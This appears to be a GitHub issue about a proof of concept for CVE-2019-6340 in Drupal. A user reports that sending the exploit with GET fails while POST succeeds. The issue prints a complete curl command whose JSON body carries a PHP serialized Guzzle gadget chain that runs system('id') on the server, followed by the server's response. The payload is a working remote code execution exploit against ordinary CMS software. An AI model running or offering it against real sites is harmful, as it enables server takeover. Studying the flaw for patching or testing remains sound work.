Use the “GET“ method can not RCE successfully

[wishucry]

I use the command that u mentioned in the README, but can not exploit successfully.

here is what i input in shell:

curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?_format=hal_json" -d '
{
"link": [
{
"value": "link",
"options": "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:2:"id";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
}
],
"_links": {
"type": {
"href": "http://localhost:8080/rest/type/shortcut/default"
}
}
}'

here is the feedback in shell:

{"_links":{"self":{"href":"http://localhost:8080/node/1?_format=hal_json"},"type":{"href":"http://localhost:8080/rest/type/node/article"},"http://localhost:8080/rest/relation/node/article/revision_uid":[{"href":"http://localhost:8080/user/1?_format=hal_json"}],"http://localhost:8080/rest/relation/node/article/uid":[{"href":"http://localhost:8080/user/1?_format=hal_json","lang":"en"}]},"nid":[{"value":1}],"uuid":[{"value":"174a2365-2f93-4226-a02d-7239137fc852"}],"vid":[{"value":1}],"langcode":[{"value":"en","lang":"en"}],"type":[{"target_id":"article"}],"revision_timestamp":[{"value":"2019-02-23T17:28:26+00:00","format":"Y-m-d\TH:i:sP"}],"_embedded":{"http://localhost:8080/rest/relation/node/article/revision_uid":[{"_links":{"self":{"href":"http://localhost:8080/user/1?_format=hal_json"},"type":{"href":"http://localhost:8080/rest/type/user/user"}},"uuid":[{"value":"404082c7-13b7-43d3-a84b-25c753be3c98"}]}],"http://localhost:8080/rest/relation/node/article/uid":[{"_links":{"self":{"href":"http://localhost:8080/user/1?_format=hal_json"},"type":{"href":"http://localhost:8080/rest/type/user/user"}},"uuid":[{"value":"404082c7-13b7-43d3-a84b-25c753be3c98"}],"lang":"en"}]},"status":[{"value":true,"lang":"en"}],"title":[{"value":"Vulnerability","lang":"en"}],"created":[{"value":"2019-02-23T17:28:26+00:00","lang":"en","format":"Y-m-d\TH:i:sP"}],"changed":[{"value":"2019-02-23T17:28:26+00:00","lang":"en","format":"Y-m-d\TH:i:sP"}],"promote":[{"value":true,"lang":"en"}],"sticky":[{"value":false,"lang":"en"}],"default_langcode":[{"value":true,"lang":"en"}],"revision_translation_affected":[{"value":true,"lang":"en"}],"path":[{"alias":null,"pid":null,"langcode":"en","lang":"en"}],"body":[{"value":"CVE-2019-6340","format":null,"processed":"\u003Cp\u003ECVE-2019-6340\u003C/p\u003E\n","summary":null,"lang":"en"}],"comment":[{"status":2,"cid":0,"last_comment_timestamp":1550942906,"last_comment_name":null,"last_comment_uid":1,"comment_count":0,"lang":"en"}]}

BUT Using the "POST" Method can exploit successfully.